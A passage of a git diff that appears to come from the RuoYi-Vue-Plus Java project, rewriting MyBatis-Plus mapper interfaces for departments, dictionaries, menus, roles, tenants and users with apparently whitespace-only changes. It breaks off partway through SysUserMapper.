deptCheckStrictly); - -} +package org.dromara.system.mapper; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.mybatis.annotation.DataColumn; +import org.dromara.common.mybatis.annotation.DataPermission; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.common.mybatis.helper.DataBaseHelper; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.vo.SysDeptVo; + +import java.util.List; + +/** + * 部门管理 数据层 + * + * @author Lion Li + */ +public interface SysDeptMapper extends BaseMapperPlus { + + /** + * 查询部门管理数据 + * + * @param queryWrapper 查询条件 + * @return 部门信息集合 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id") + }) + List selectDeptList(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 统计指定部门ID的部门数量 + * + * @param deptId 部门ID + * @return 该部门ID的部门数量 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id") + }) + long countDeptById(Long deptId); + + /** + * 根据父部门ID查询其所有子部门的列表 + * + * @param parentId 父部门ID + * @return 包含子部门的列表 + */ + default List selectListByParentId(Long parentId) { + return this.selectList(new LambdaQueryWrapper() + .select(SysDept::getDeptId) + .apply(DataBaseHelper.findInSet(parentId, "ancestors"))); + } + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @param deptCheckStrictly 部门树选择项是否关联显示 + * @return 选中部门列表 + */ + List selectDeptListByRoleId(@Param("roleId") Long roleId, @Param("deptCheckStrictly") boolean deptCheckStrictly); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDictDataMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDictDataMapper.java index 7298db3..e2e13d6 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDictDataMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDictDataMapper.java @@ -1,29 +1,29 @@ -package org.dromara.system.mapper; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysDictData; -import org.dromara.system.domain.vo.SysDictDataVo; - -import java.util.List; - -/** - * 字典表 数据层 - * - * @author Lion Li - */ -public interface SysDictDataMapper extends BaseMapperPlus { - - /** - * 根据字典类型查询字典数据列表 - * - * @param dictType 字典类型 - * @return 符合条件的字典数据列表 - */ - default List selectDictDataByType(String dictType) { - return selectVoList( - new LambdaQueryWrapper() - .eq(SysDictData::getDictType, dictType) - .orderByAsc(SysDictData::getDictSort)); - } -} +package org.dromara.system.mapper; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysDictData; +import org.dromara.system.domain.vo.SysDictDataVo; + +import java.util.List; + +/** + * 字典表 数据层 + * + * @author Lion Li + */ +public interface SysDictDataMapper extends BaseMapperPlus { + + /** + * 根据字典类型查询字典数据列表 + * + * @param dictType 字典类型 + * @return 符合条件的字典数据列表 + */ + default List selectDictDataByType(String dictType) { + return selectVoList( + new LambdaQueryWrapper() + .eq(SysDictData::getDictType, dictType) + .orderByAsc(SysDictData::getDictSort)); + } +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDictTypeMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDictTypeMapper.java index ae15639..2adfa0d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDictTypeMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysDictTypeMapper.java @@ -1,14 +1,14 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysDictType; -import org.dromara.system.domain.vo.SysDictTypeVo; - -/** - * 字典表 数据层 - * - * @author Lion Li - */ -public interface SysDictTypeMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysDictType; +import org.dromara.system.domain.vo.SysDictTypeVo; + +/** + * 字典表 数据层 + * + * @author Lion Li + */ +public interface SysDictTypeMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysLogininforMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysLogininforMapper.java index 85edd1d..8eba834 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysLogininforMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysLogininforMapper.java @@ -1,14 +1,14 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysLogininfor; -import org.dromara.system.domain.vo.SysLogininforVo; - -/** - * 系统访问日志情况信息 数据层 - * - * @author Lion Li - */ -public interface SysLogininforMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysLogininfor; +import org.dromara.system.domain.vo.SysLogininforVo; + +/** + * 系统访问日志情况信息 数据层 + * + * @author Lion Li + */ +public interface SysLogininforMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysMenuMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysMenuMapper.java index 205413b..5e4378a 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysMenuMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysMenuMapper.java @@ -1,76 +1,76 @@ -package org.dromara.system.mapper; - -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Constants; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.core.constant.SystemConstants; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysMenu; -import org.dromara.system.domain.vo.SysMenuVo; - -import java.util.List; - -/** - * 菜单表 数据层 - * - * @author Lion Li - */ -public interface SysMenuMapper extends BaseMapperPlus { - - /** - * 根据用户查询系统菜单列表 - * - * @param queryWrapper 查询条件 - * @return 菜单列表 - */ - List selectMenuListByUserId(@Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 根据用户ID查询权限 - * - * @param userId 用户ID - * @return 权限列表 - */ - List selectMenuPermsByUserId(Long userId); - - /** - * 根据角色ID查询权限 - * - * @param roleId 角色ID - * @return 权限列表 - */ - List selectMenuPermsByRoleId(Long roleId); - - /** - * 根据用户ID查询菜单 - * - * @return 菜单列表 - */ - default List selectMenuTreeAll() { - LambdaQueryWrapper lqw = new LambdaQueryWrapper() - .in(SysMenu::getMenuType, SystemConstants.TYPE_DIR, SystemConstants.TYPE_MENU) - .eq(SysMenu::getStatus, SystemConstants.NORMAL) - .orderByAsc(SysMenu::getParentId) - .orderByAsc(SysMenu::getOrderNum); - return this.selectList(lqw); - } - - /** - * 根据用户ID查询菜单 - * - * @param userId 用户ID - * @return 菜单列表 - */ - List selectMenuTreeByUserId(Long userId); - - /** - * 根据角色ID查询菜单树信息 - * - * @param roleId 角色ID - * @param menuCheckStrictly 菜单树选择项是否关联显示 - * @return 选中菜单列表 - */ - List selectMenuListByRoleId(@Param("roleId") Long roleId, @Param("menuCheckStrictly") boolean menuCheckStrictly); - -} +package org.dromara.system.mapper; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.core.constant.SystemConstants; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysMenu; +import org.dromara.system.domain.vo.SysMenuVo; + +import java.util.List; + +/** + * 菜单表 数据层 + * + * @author Lion Li + */ +public interface SysMenuMapper extends BaseMapperPlus { + + /** + * 根据用户查询系统菜单列表 + * + * @param queryWrapper 查询条件 + * @return 菜单列表 + */ + List selectMenuListByUserId(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 根据用户ID查询权限 + * + * @param userId 用户ID + * @return 权限列表 + */ + List selectMenuPermsByUserId(Long userId); + + /** + * 根据角色ID查询权限 + * + * @param roleId 角色ID + * @return 权限列表 + */ + List selectMenuPermsByRoleId(Long roleId); + + /** + * 根据用户ID查询菜单 + * + * @return 菜单列表 + */ + default List selectMenuTreeAll() { + LambdaQueryWrapper lqw = new LambdaQueryWrapper() + .in(SysMenu::getMenuType, SystemConstants.TYPE_DIR, SystemConstants.TYPE_MENU) + .eq(SysMenu::getStatus, SystemConstants.NORMAL) + .orderByAsc(SysMenu::getParentId) + .orderByAsc(SysMenu::getOrderNum); + return this.selectList(lqw); + } + + /** + * 根据用户ID查询菜单 + * + * @param userId 用户ID + * @return 菜单列表 + */ + List selectMenuTreeByUserId(Long userId); + + /** + * 根据角色ID查询菜单树信息 + * + * @param roleId 角色ID + * @param menuCheckStrictly 菜单树选择项是否关联显示 + * @return 选中菜单列表 + */ + List selectMenuListByRoleId(@Param("roleId") Long roleId, @Param("menuCheckStrictly") boolean menuCheckStrictly); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysNoticeMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysNoticeMapper.java index 1e27b77..66a0089 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysNoticeMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysNoticeMapper.java @@ -1,14 +1,14 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysNotice; -import org.dromara.system.domain.vo.SysNoticeVo; - -/** - * 通知公告表 数据层 - * - * @author Lion Li - */ -public interface SysNoticeMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysNotice; +import org.dromara.system.domain.vo.SysNoticeVo; + +/** + * 通知公告表 数据层 + * + * @author Lion Li + */ +public interface SysNoticeMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOperLogMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOperLogMapper.java index 5d20404..0939f08 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOperLogMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOperLogMapper.java @@ -1,14 +1,14 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysOperLog; -import org.dromara.system.domain.vo.SysOperLogVo; - -/** - * 操作日志 数据层 - * - * @author Lion Li - */ -public interface SysOperLogMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysOperLog; +import org.dromara.system.domain.vo.SysOperLogVo; + +/** + * 操作日志 数据层 + * + * @author Lion Li + */ +public interface SysOperLogMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOssConfigMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOssConfigMapper.java index f93d34d..3b59a6d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOssConfigMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOssConfigMapper.java @@ -1,16 +1,16 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysOssConfig; -import org.dromara.system.domain.vo.SysOssConfigVo; - -/** - * 对象存储配置Mapper接口 - * - * @author Lion Li - * @author 孤舟烟雨 - * @date 2021-08-13 - */ -public interface SysOssConfigMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysOssConfig; +import org.dromara.system.domain.vo.SysOssConfigVo; + +/** + * 对象存储配置Mapper接口 + * + * @author Lion Li + * @author 孤舟烟雨 + * @date 2021-08-13 + */ +public interface SysOssConfigMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOssMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOssMapper.java index 3da621d..ecdc761 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOssMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysOssMapper.java @@ -1,13 +1,13 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysOss; -import org.dromara.system.domain.vo.SysOssVo; - -/** - * 文件上传 数据层 - * - * @author Lion Li - */ -public interface SysOssMapper extends BaseMapperPlus { -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysOss; +import org.dromara.system.domain.vo.SysOssVo; + +/** + * 文件上传 数据层 + * + * @author Lion Li + */ +public interface SysOssMapper extends BaseMapperPlus { +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysPictureMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysPictureMapper.java index b09d3c3..8368cb2 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysPictureMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysPictureMapper.java @@ -1,15 +1,15 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysPicture; -import org.dromara.system.domain.vo.SysPictureVo; - -/** - * 画册Mapper接口 - * - * @author Maosw - * @date 2025-02-26 - */ -public interface SysPictureMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysPicture; +import org.dromara.system.domain.vo.SysPictureVo; + +/** + * 画册Mapper接口 + * + * @author Maosw + * @date 2025-02-26 + */ +public interface SysPictureMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysPostMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysPostMapper.java index 60da074..36b9c1c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysPostMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysPostMapper.java @@ -1,43 +1,43 @@ -package org.dromara.system.mapper; - -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.toolkit.Constants; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.mybatis.annotation.DataColumn; -import org.dromara.common.mybatis.annotation.DataPermission; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysPost; -import org.dromara.system.domain.vo.SysPostVo; - -import java.util.List; - -/** - * 岗位信息 数据层 - * - * @author Lion Li - */ -public interface SysPostMapper extends BaseMapperPlus { - - /** - * 分页查询岗位列表 - * - * @param page 分页对象 - * @param queryWrapper 查询条件 - * @return 包含岗位信息的分页结果 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "create_by") - }) - Page selectPagePostList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 查询用户所属岗位组 - * - * @param userId 用户ID - * @return 结果 - */ - List selectPostsByUserId(Long userId); - -} +package org.dromara.system.mapper; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.mybatis.annotation.DataColumn; +import org.dromara.common.mybatis.annotation.DataPermission; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysPost; +import org.dromara.system.domain.vo.SysPostVo; + +import java.util.List; + +/** + * 岗位信息 数据层 + * + * @author Lion Li + */ +public interface SysPostMapper extends BaseMapperPlus { + + /** + * 分页查询岗位列表 + * + * @param page 分页对象 + * @param queryWrapper 查询条件 + * @return 包含岗位信息的分页结果 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "create_by") + }) + Page selectPagePostList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 查询用户所属岗位组 + * + * @param userId 用户ID + * @return 结果 + */ + List selectPostsByUserId(Long userId); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleDeptMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleDeptMapper.java index 3de0bb6..8af5026 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleDeptMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleDeptMapper.java @@ -1,13 +1,13 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysRoleDept; - -/** - * 角色与部门关联表 数据层 - * - * @author Lion Li - */ -public interface SysRoleDeptMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysRoleDept; + +/** + * 角色与部门关联表 数据层 + * + * @author Lion Li + */ +public interface SysRoleDeptMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleMapper.java index 9cb1ea5..f5740a3 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleMapper.java @@ -1,75 +1,75 @@ -package org.dromara.system.mapper; - -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.toolkit.Constants; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.mybatis.annotation.DataColumn; -import org.dromara.common.mybatis.annotation.DataPermission; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysRole; -import org.dromara.system.domain.vo.SysRoleVo; - -import java.util.List; - -/** - * 角色表 数据层 - * - * @author Lion Li - */ -public interface SysRoleMapper extends BaseMapperPlus { - - /** - * 分页查询角色列表 - * - * @param page 分页对象 - * @param queryWrapper 查询条件 - * @return 包含角色信息的分页结果 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "d.dept_id"), - @DataColumn(key = "userName", value = "r.create_by") - }) - Page selectPageRoleList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 根据条件分页查询角色数据 - * - * @param queryWrapper 查询条件 - * @return 角色数据集合信息 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "d.dept_id"), - @DataColumn(key = "userName", value = "r.create_by") - }) - List selectRoleList(@Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 根据角色ID查询角色信息 - * - * @param roleId 角色ID - * @return 对应的角色信息 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "d.dept_id"), - @DataColumn(key = "userName", value = "r.create_by") - }) - SysRoleVo selectRoleById(Long roleId); - - /** - * 根据用户ID查询角色 - * - * @param userId 用户ID - * @return 角色列表 - */ - List selectRolePermissionByUserId(Long userId); - - /** - * 根据用户ID查询角色 - * - * @param userId 用户ID - * @return 角色列表 - */ - List selectRolesByUserId(Long userId); - -} +package org.dromara.system.mapper; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.mybatis.annotation.DataColumn; +import org.dromara.common.mybatis.annotation.DataPermission; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysRole; +import org.dromara.system.domain.vo.SysRoleVo; + +import java.util.List; + +/** + * 角色表 数据层 + * + * @author Lion Li + */ +public interface SysRoleMapper extends BaseMapperPlus { + + /** + * 分页查询角色列表 + * + * @param page 分页对象 + * @param queryWrapper 查询条件 + * @return 包含角色信息的分页结果 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "d.dept_id"), + @DataColumn(key = "userName", value = "r.create_by") + }) + Page selectPageRoleList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 根据条件分页查询角色数据 + * + * @param queryWrapper 查询条件 + * @return 角色数据集合信息 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "d.dept_id"), + @DataColumn(key = "userName", value = "r.create_by") + }) + List selectRoleList(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 根据角色ID查询角色信息 + * + * @param roleId 角色ID + * @return 对应的角色信息 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "d.dept_id"), + @DataColumn(key = "userName", value = "r.create_by") + }) + SysRoleVo selectRoleById(Long roleId); + + /** + * 根据用户ID查询角色 + * + * @param userId 用户ID + * @return 角色列表 + */ + List selectRolePermissionByUserId(Long userId); + + /** + * 根据用户ID查询角色 + * + * @param userId 用户ID + * @return 角色列表 + */ + List selectRolesByUserId(Long userId); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleMenuMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleMenuMapper.java index 0a657b4..b9446f2 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleMenuMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysRoleMenuMapper.java @@ -1,13 +1,13 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysRoleMenu; - -/** - * 角色与菜单关联表 数据层 - * - * @author Lion Li - */ -public interface SysRoleMenuMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysRoleMenu; + +/** + * 角色与菜单关联表 数据层 + * + * @author Lion Li + */ +public interface SysRoleMenuMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysSocialMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysSocialMapper.java index b942061..af9df42 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysSocialMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysSocialMapper.java @@ -1,14 +1,14 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysSocial; -import org.dromara.system.domain.vo.SysSocialVo; - -/** - * 社会化关系Mapper接口 - * - * @author thiszhc - */ -public interface SysSocialMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysSocial; +import org.dromara.system.domain.vo.SysSocialVo; + +/** + * 社会化关系Mapper接口 + * + * @author thiszhc + */ +public interface SysSocialMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysTenantMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysTenantMapper.java index 3f27686..2e86398 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysTenantMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysTenantMapper.java @@ -1,14 +1,14 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysTenant; -import org.dromara.system.domain.vo.SysTenantVo; - -/** - * 租户Mapper接口 - * - * @author Michelle.Chung - */ -public interface SysTenantMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysTenant; +import org.dromara.system.domain.vo.SysTenantVo; + +/** + * 租户Mapper接口 + * + * @author Michelle.Chung + */ +public interface SysTenantMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysTenantPackageMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysTenantPackageMapper.java index 10ca170..87d58d4 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysTenantPackageMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysTenantPackageMapper.java @@ -1,14 +1,14 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysTenantPackage; -import org.dromara.system.domain.vo.SysTenantPackageVo; - -/** - * 租户套餐Mapper接口 - * - * @author Michelle.Chung - */ -public interface SysTenantPackageMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysTenantPackage; +import org.dromara.system.domain.vo.SysTenantPackageVo; + +/** + * 租户套餐Mapper接口 + * + * @author Michelle.Chung + */ +public interface SysTenantPackageMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserMapper.java index 480c800..e76e679 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserMapper.java @@ -1,133 +1,133 @@ -package org.dromara.system.mapper; - -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.toolkit.Constants; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.mybatis.annotation.DataColumn; -import org.dromara.common.mybatis.annotation.DataPermission; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.vo.SysUserExportVo; -import org.dromara.system.domain.vo.SysUserVo; - -import java.util.List; - -/** - * 用户表 数据层 - * - * @author Lion Li - */ -public interface SysUserMapper extends BaseMapperPlus { - - /** - * 分页查询用户列表,并进行数据权限控制 - * - * @param page 分页参数 - * @param queryWrapper 查询条件 - * @return 分页的用户信息 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "u.dept_id"), - @DataColumn(key = "userName", value = "u.user_id") - }) - Page selectPageUserList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 查询用户列表,并进行数据权限控制 - * - * @param queryWrapper 查询条件 - * @return 用户信息集合 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "u.dept_id"), - @DataColumn(key = "userName", value = "u.user_id") - }) - Page selectPageUserList1(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - - Page selectPageUserList2(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - }) - List selectUserList(@Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 根据条件分页查询用户列表 - * - * @param queryWrapper 查询条件 - * @return 用户信息集合信息 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "d.dept_id"), - @DataColumn(key = "userName", value = "u.user_id") - }) - List selectUserExportList(@Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 根据条件分页查询已配用户角色列表 - * - * @param queryWrapper 查询条件 - * @return 用户信息集合信息 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "d.dept_id"), - @DataColumn(key = "userName", value = "u.user_id") - }) - Page selectAllocatedList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 根据条件分页查询未分配用户角色列表 - * - * @param queryWrapper 查询条件 - * @return 用户信息集合信息 - */ - @DataPermission({ - 